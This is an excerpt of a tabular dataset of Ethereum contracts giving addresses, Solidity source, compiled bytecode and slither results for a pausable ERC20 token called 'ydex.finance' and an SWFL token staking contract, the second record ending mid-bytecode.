address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xee2ecf244e064612472003828624acdca6d88b0b | pragma solidity ^0.5.0;
/*****************************************************************************
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
/*****************************************************************************
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*****************************************************************************
* @dev Basic implementation of the `IERC20` interface.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
/*****************************************************************************
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused();
}
}
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
**/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
/*****************************************************************************
* @title YDexFinanceToken
* @dev YDexFinanceToken is an ERC20 implementation of the YDexFinanceToken ecosystem token.
* All tokens are initially pre-assigned to the creator, and can later be distributed
* freely using transfer transferFrom and other ERC20 functions.
*/
contract YDexFinanceToken is Ownable, ERC20Pausable {
string public constant name = "ydex.finance";
string public constant symbol = "YDEX";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 30000*10**uint256(decimals);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor () public {
_mint(msg.sender, initialSupply);
}
/**
* @dev Destoys `amount` tokens from the caller.
*
* See `ERC20._burn`.
*/
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
/**
* @dev See `ERC20._burnFrom`.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
event DepositReceived(address indexed from, uint256 value);
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610345578063a457c2d71461034d578063a9059cbb14610379578063dd62ed3e146103a5578063f2fde38b146103d35761012c565b806370a08231146102bf57806379cc6790146102e55780638456cb59146103115780638da5cb5b146103195780638f32d59b1461033d5761012c565b8063378dc3dc116100f4578063378dc3dc1461025c57806339509351146102645780633f4ba83a1461029057806342966c681461029a5780635c975abb146102b75761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b6101396103f9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b038135169060200135610421565b604080519115158252519081900360200190f35b6101f661044c565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b03813581169160208101359091169060400135610452565b61024661047f565b6040805160ff9092168252519081900360200190f35b6101f6610484565b6101da6004803603604081101561027a57600080fd5b506001600160a01b038135169060200135610492565b6102986104b6565b005b610298600480360360208110156102b057600080fd5b503561055d565b6101da61056a565b6101f6600480360360208110156102d557600080fd5b50356001600160a01b031661057a565b610298600480360360408110156102fb57600080fd5b506001600160a01b038135169060200135610595565b6102986105a3565b610321610651565b604080516001600160a01b039092168252519081900360200190f35b6101da610660565b610139610671565b6101da6004803603604081101561036357600080fd5b506001600160a01b038135169060200135610691565b6101da6004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356106b5565b6101f6600480360360408110156103bb57600080fd5b506001600160a01b03813581169160200135166106d9565b610298600480360360208110156103e957600080fd5b50356001600160a01b0316610704565b6040518060400160405280600c81526020016b796465782e66696e616e636560a01b81525081565b600354600090600160a01b900460ff161561043b57600080fd5b61044583836107fe565b9392505050565b60025490565b600354600090600160a01b900460ff161561046c57600080fd5b610477848484610814565b949350505050565b601281565b69065a4da25d3016c0000081565b600354600090600160a01b900460ff16156104ac57600080fd5b610445838361086b565b6104be610660565b61050f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff1661052557600080fd5b6003805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b61056733826108a7565b50565b600354600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b61059f8282610980565b5050565b6105ab610660565b6105fc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff161561061357600080fd5b6003805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6003546001600160a01b031690565b6003546001600160a01b0316331490565b604051806040016040528060048152602001630b2888ab60e31b81525081565b600354600090600160a01b900460ff16156106ab57600080fd5b61044583836109c5565b600354600090600160a01b900460ff16156106cf57600080fd5b6104458383610a01565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61070c610660565b61075d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107a25760405162461bcd60e51b8152600401808060200182810382526026815260200180610d176026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b600061080b338484610a0e565b50600192915050565b6000610821848484610afa565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461086191869161085c908663ffffffff610c3c16565b610a0e565b5060019392505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161080b91859061085c908663ffffffff610c9916565b6001600160a01b0382166108ec5760405162461bcd60e51b8152600401808060200182810382526021815260200180610d5f6021913960400191505060405180910390fd5b6002546108ff908263ffffffff610c3c16565b6002556001600160a01b03821660009081526020819052604090205461092b908263ffffffff610c3c16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b61098a82826108a7565b6001600160a01b03821660009081526001602090815260408083203380855292529091205461059f91849161085c908563ffffffff610c3c16565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161080b91859061085c908663ffffffff610c3c16565b600061080b338484610afa565b6001600160a01b038316610a535760405162461bcd60e51b8152600401808060200182810382526024815260200180610da56024913960400191505060405180910390fd5b6001600160a01b038216610a985760405162461bcd60e51b8152600401808060200182810382526022815260200180610d3d6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b3f5760405162461bcd60e51b8152600401808060200182810382526025815260200180610d806025913960400191505060405180910390fd5b6001600160a01b038216610b845760405162461bcd60e51b8152600401808060200182810382526023815260200180610cf46023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054610bad908263ffffffff610c3c16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610be2908263ffffffff610c9916565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610c93576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610445576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820739e008eb72a0f8684741bfe85f8fab579a887e906d61a9326372b74bb212b4364736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 100 |
0xcaf234ae8112d30d8b20712895937d23787c052d | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// 'SWFL' Staking smart contract
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Stake is Owned {
using SafeMath for uint256;
address public SWFL = 0xBa21Ef4c9f433Ede00badEFcC2754B8E74bd538A;
uint256 public totalStakes = 0;
uint256 stakingFee = 25; // 2.5%
uint256 unstakingFee = 25; // 2.5%
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens, uint256 stakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(IERC20(SWFL).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = 0;
if(totalStakes > 0)
_stakingFee= (onePercent(tokens).mul(stakingFee)).div(10);
if(totalStakes > 0)
// distribute the staking fee accumulated before updating the user's stake
_addPayout(_stakingFee);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.add(tokens.sub(_stakingFee));
emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external {
require(IERC20(SWFL).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
_addPayout(tokens);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round-1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(SWFL).transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount + stakers[staker].remainder);
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
require(IERC20(SWFL).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.sub(tokens);
if(totalStakes > 0)
// distribute the un staking fee accumulated after updating the user's stake
_addPayout(_unstakingFee);
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedSWFL(address staker) external view returns(uint256 stakedSWFL){
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the SWFL balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourSWFLBalance(address user) external view returns(uint256 SWFLBalance){
return IERC20(SWFL).balanceOf(user);
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063bf9befb111610066578063bf9befb1146101ea578063ca84d591146101f2578063f2fde38b1461020f578063f55487ac14610235576100ea565b80638da5cb5b146101bd578063997664d7146101c5578063b53d6c24146101cd576100ea565b80632c75bcda116100c85780632c75bcda1461014a57806333de3d17146101695780634baf782e1461018f5780634df9d6ba14610197576100ea565b80630e4dbb4c146100ef578063146ca5311461011357806329652e861461012d575b600080fd5b6100f761025b565b604080516001600160a01b039092168252519081900360200190f35b61011b61026a565b60408051918252519081900360200190f35b61011b6004803603602081101561014357600080fd5b5035610270565b6101676004803603602081101561016057600080fd5b5035610282565b005b61011b6004803603602081101561017f57600080fd5b50356001600160a01b03166104e1565b6101676104fc565b61011b600480360360208110156101ad57600080fd5b50356001600160a01b031661067c565b6100f7610746565b61011b610755565b610167600480360360208110156101e357600080fd5b503561075b565b61011b610828565b6101676004803603602081101561020857600080fd5b503561082e565b6101676004803603602081101561022557600080fd5b50356001600160a01b03166109cd565b61011b6004803603602081101561024b57600080fd5b50356001600160a01b0316610a2f565b6001546001600160a01b031681565b60085481565b600a6020526000908152604090205481565b3360009081526009602052604090205481118015906102a15750600081115b6102f2576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b6000610314600a61030e60045461030886610ab2565b90610add565b90610b3f565b9050600061032133610b81565b3360008181526009602052604090206004018054830190556001549192506001600160a01b039091169063a9059cbb9061035b8686610c4d565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156103a157600080fd5b505af11580156103b5573d6000803e3d6000fd5b505050506040513d60208110156103cb57600080fd5b505161041e576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b336000908152600960205260409020546104389084610c4d565b33600090815260096020526040902090815560018101829055600554600280830191909155600854600390920191909155546104749084610c4d565b6002819055156104875761048782610c8f565b7faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa2336104b38585610c4d565b604080516001600160a01b0390931683526020830191909152818101859052519081900360600190a1505050565b6001600160a01b031660009081526009602052604090205490565b33600090815260096020526040902060020154600554111561067a57600061052333610b81565b33600090815260096020526040902060040154909150610544908290610d74565b